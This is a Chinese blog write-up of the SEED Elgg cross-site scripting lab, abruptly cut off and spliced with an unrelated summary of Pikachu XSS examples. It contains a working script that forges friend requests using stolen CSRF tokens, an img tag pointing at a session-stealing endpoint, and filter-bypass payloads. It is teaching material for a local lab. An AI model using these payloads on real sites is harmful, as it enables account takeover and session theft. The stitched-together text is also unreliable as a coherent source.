Cross-Site Scripting Attack Lab (Elgg)

本文通过一个Elgg平台的XSS攻击实验,详细介绍了如何利用XSS攻击成为他人好友、修改他人主页以及实现自我传播的蠕虫代码。实验涉及添加好友请求的构造、个人资料编辑参数的获取以及不同传播方式的实现,揭示了XSS攻击的原理和危害。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

实验准备


  1. Ubuntu16.04
  2. 将网站www.xsslabelgg.com映射到IP地址127.0.0.1,填写在/etc/hosts文件里,同时需要修改Apache服务器配置文件/etc/apache2/sites-available/000-default.conf,以使得Apache服务器可以识别该站点。
  3. 在Elgg服务器创建几个用户:
    |账号|密码|
    |admin|seedadmin|
    |alice|seedalice|
    |boby|seedboby|
    |charlie|seedcharlie|
    |samy|seedsamy|

预备知识


  • 许多网络应用程序允许用户之间共享信息,一个用户的输入可以被其他人浏览,如果浏览的只是数据,那么没有太大的风险,然而,恶意用户可能会在数据中放入Javascript代码,如果一个网络应用程序没有将代码过滤掉,这段代码就可以到达其他用户的浏览器并执行,这被称为跨站脚本攻击。

开始实验


  1. 通过XSS攻击成为Samy的好友
  • 对于添加好友我们需要知道到底应该发送什么样的请求。
  • 我们用Charlie账户登陆,浏览Samy账户并添加其为自己的好友,同时使用火狐浏览器的HTTP Header Live拓展工具或Google浏览器的开发者工具来捕捉加好友的请求:
    http://www.xsslabelgg.com/action/friends/add?friend=47                  #1
    &__elgg_ts=1594434277&__elgg_token=nWtT6nRoeg-vbVwymcShzQ      #2
    ...
    Cookie:Elgg=v7jldvjfssch28pvt06605ojl4                                  #3
    
    行1:这是Elgg添加好友请求的URL,在请求中,需要设置目标URL为http://www.xsslabelgg.com/action/friends/add,除此之外,添加好友请求需要指明要添加的用户。
    行2:在URL中有两个额外的参数:__elgg_ts 和 __elgg_token,这个两个参数是为了防范CSRF攻击的对策,在CSRF攻击中关闭了它,但在XSS攻击中又重新打开了它,因此必须正确设置这两个值,否则它就会被视为跨站请求而被丢弃。
    行3:这是会话cookie,没有它,Elgg会丢弃请求,这个值浏览器会自动设置,攻击者无需担心。
  • _elgg_ts、__elgg_token这两个参数的值分别可以通过elgg.security.token.__elgg_ts和elgg.security.token.__elgg_token这两个Javascript变量获得。
  • 构造添加好友请求代码:
    <script type="text/javascript">
    	window.onload = function()
    	{
         
    		var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
    		var token = "&__elgg_token="+elgg.security.token.__elgg_token;
    		var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=47"+token+ts;
    		Ajax = new XMLHttpRequest();
    		Ajax.open("GET",sendurl,true);
    		Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    		Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    		Ajax.send();
    	}
    </script>
    
  • 恶意代码构造完毕后,把它放到Samy的个人主页,当有用户访问Samy的个人主页时,这段代码就会在用户的浏览器内执行,用户的个人主页有几个区域,这里选择about me区域,这个区域编辑器的默认模式支持格式化文本,编辑器会向文本添加格式数据,这些添加的数据会导致Javascript代码出现问题,为了防止编辑器添加数据,可以单击该区域右上角的Edit HTML按钮来切换到明文模式。
    在这里插入图片描述
  • 现在使用Alice账户登录,浏览Samy账户,可以看到Alice已经添加Samy为好友,因为此时页面上显示的时Remove Friend。
    在这里插入图片描述
    在这里插入图片描述
  1. 使用XSS攻击修改他人主页。
  • 将添加“Samy is my hero”这句话到所有浏览了他主页的用户的网页中,首先我们需要知道编辑个人资料服务所需要的参数。
    Request UR
### 关于 Pikachu 项目中的 XSS 漏洞 #### 跨站脚本攻击(XSS) 跨站脚本攻击是一种常见的安全漏洞,允许攻击者通过注入恶意脚本来执行未经授权的操作。这种攻击通常发生在 Web 应用程序未能正确验证或转义用户输入的情况下。 在 Pikachu 项目的上下文中,存在多个演示场景来展示 XSS 的工作原理及其潜在危害[^1]。 #### 登录页面的 XSS 风险 受害者可以通过访问 `http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php` 页面并使用默认凭证 (`test/abc123`) 进行登录操作。此页面可能未对用户的输入进行充分过滤,从而导致反射型或存储型 XSS 攻击的发生。 #### 利用图片标签触发 XSS 另一个典型的例子涉及 `<img>` 标签的滥用。例如,在某些情况下,可以利用如下 HTML 片段发起请求到指定服务器以窃取会话信息或其他敏感数据: ```html <img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php" /> ``` 上述代码片段展示了如何通过图像加载机制实现远程通信的目的[^2]。 #### 大小写绕过的技巧 为了测试应用程序的安全防护措施是否存在缺陷,研究者们经常尝试不同的方法规避检测规则。比如下面这个案例就说明了即使简单的字符转换也可能突破初步防御屏障: ```html <SCRIPT>alert(/xss/)</sCRIpt> ``` 这里故意改变了部分字母的大写形式试图迷惑模式匹配算法达到成功弹窗的效果[^3]。 #### 嵌套 script 标记造成破坏 更进一步地考虑实际应用环境下的复杂情况,则有这样一种构造方式能够有效避开一些基础级别的HTML净化处理逻辑: ```html </script><script> alert('xss')</script> ``` 它巧妙地关闭当前正在解析状态中的 JavaScript 区域然后再开启新的定义区域以便执行自定义命令序列[^4]。 ### 结论 综上所述,Pikachu 提供了一个很好的平台让我们深入理解各种类型的Web安全性议题,特别是针对像XSS这样的经典威胁进行了详尽的实际演练.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值